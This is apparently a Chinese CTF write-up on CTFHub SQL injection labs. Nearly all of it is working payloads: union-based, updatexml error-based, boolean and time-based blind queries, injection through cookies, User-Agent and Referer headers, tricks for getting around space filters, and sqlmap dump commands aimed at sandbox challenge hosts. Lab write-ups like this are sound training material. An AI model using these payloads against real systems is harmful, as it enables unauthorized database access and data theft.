整数型注入
行数
1 order by 2
数据库名
-1 union select 1,database() --
一开始我在后面加上+,但是这个+是在url才可以被当作空格,有点傻了
表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' --
字段
-1 union select 1,group_concat(column_name) from information_schema.columns where column_name='flag' --
字段值
-1 union select 1,group_concat(FLAG) from flag --
字符型注入
闭合符号,–后有空格
过程和上面的一样,数据也一样,所以直接来查字段名
-1' union select 1,group_concat(FLAG) from flag --
报错注入
这关为整数型报错
数据库名
-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --
表名
-1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x7e),1) --
字段名
-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where column_name='flag' limit 0,1),0x7e),1) --
字段值
-1 and updatexml(1,concat(0x7e,(select FLAG from flag limit 0,1),0x7e),1) --
布尔注入
可以使用burp suit中的intruder进行破解
如果不会的话,这是一个快速入手的文章
使用集束炸弹
数据库名的长度
报错
1 and length(database())>4 --
正确
1 and length(database())>3 --
所以数据库名有4个字符
数据库名
1 and ascii(substr(database(),1,1))>0 --
1 and ascii(substr(database(),1,1))=115 --
1 and ascii(substr(database(),2,1))=113 --
1 and ascii(substr(database(),3,1))=108 --
1 and ascii(substr(database(),4,1))=105 --
测sqli中有几张表
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2
表名
第一张表的查询语句
1 and ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110 --
第二张表的查询语句
1 and ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1,1))=115 --
字段名
1 and ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=102
字段值
1 and (ascii(substr(( select flag from flag limit 0,1),1,1)))=100
字段的值有点多(就是我们想要的ctfflag),我们可以使用kali中的sqlmap
我是第一次使用sqlmap,所以需要更新一下sqlmap(sqlmap -update
)。
sqlmap -u http://challenge-6fbf17781e411311.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch
- -u 指定url扫描,但url必须存在查询参数. 例: xxx.php?id=1
- -D 数据库名字
- -T 表的名字
- -C 列的名字
- –dump 转储数据库表项
- –batch 从不询问用户输入,使用所有默认配置。
更多详细的知识
报错注入
数据库字符数
1 or if(length(database())=4,sleep(2),1) --
数据库名
?id=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)
?id=1 and if(ascii(substr(database(),2,1))=113,sleep(5),1)
?id=1 and if(ascii(substr(database(),3,1))=108,sleep(5),1)
?id=1 and if(ascii(substr(database(),4,1))=105,sleep(5),1)
表的数量
?id=1 and if((select count(table_name) from informatino_schema.tables where table_schema='sqli')=2,sleep(5),1)
表名
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(5),1)
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101,sleep(5),1)
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=119,sleep(5),1)
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115,sleep(5),1)
第一张表名为news
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102,sleep(5),1)
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=108,sleep(5),1)
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=97,sleep(5),1)
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=103,sleep(5),1)
第二张表名为flag
字段数
?id=1 and if((select count(column_name) from information_schema.columns where table_name='flag')=1,sleep(5),1)
一个字段
字段名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=102,sleep(5),1)
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=108,sleep(5),1)
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=97,sleep(5),1)
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=103,sleep(5),1)
字段值
sqlmap -u http://challenge-11c2ecff1754245a.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch
MySQL结构
数据库名
表名
列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='wqifscxlnn' --
列值
-1 union select 1,group_concat(tzjkcxmpln) from wqifscxlnn --
cookie注入
在cookie那里找注入点,发现有回显,可以结合前面的注入。
-1 union select 1,database() --
爆表名
-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli' --
爆列名
-1 union select 1,group_concat(column_name)from information_schema.columns where table_name='sbqpzirunv' --
爆列值
-1 union select 1,group_concat(wqyoglpfxr)from sbqpzirunv --
UA注入
-1 union select 1, database() --
和coolie注入一样,只是位置换了
直接出结果(偷偷告诉你,表名变了)
refer注入
页面如果有cookie,则删掉,再添加Referer
爆数据库
同样的,直接出结果
空格注入
由于过滤了空格致使无法执行注入的语句时,可使用以下字符代替空格,发挥同样效果
():一对圆括号
+:加号
%09、%0a、%0b、%0c、%0d:TAB水平制表符、换行符、垂直制表符、换页、回车的URL编码形式
/**/:块注释符